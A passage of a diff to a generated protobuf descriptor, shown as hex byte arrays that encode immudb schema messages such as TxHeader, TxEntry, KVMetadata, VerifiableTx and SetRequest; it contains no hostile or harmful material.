0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, - 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, - 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, - 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, - 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, - 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, + 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, + 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, + 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, + 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, + 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, + 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, + 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, + 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, + 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, + 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, + 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, + 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, + 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, + 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, + 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, + 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, + 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, + 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, + 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, + 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, + 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, + 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, + 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, + 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, + 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, + 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, + 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 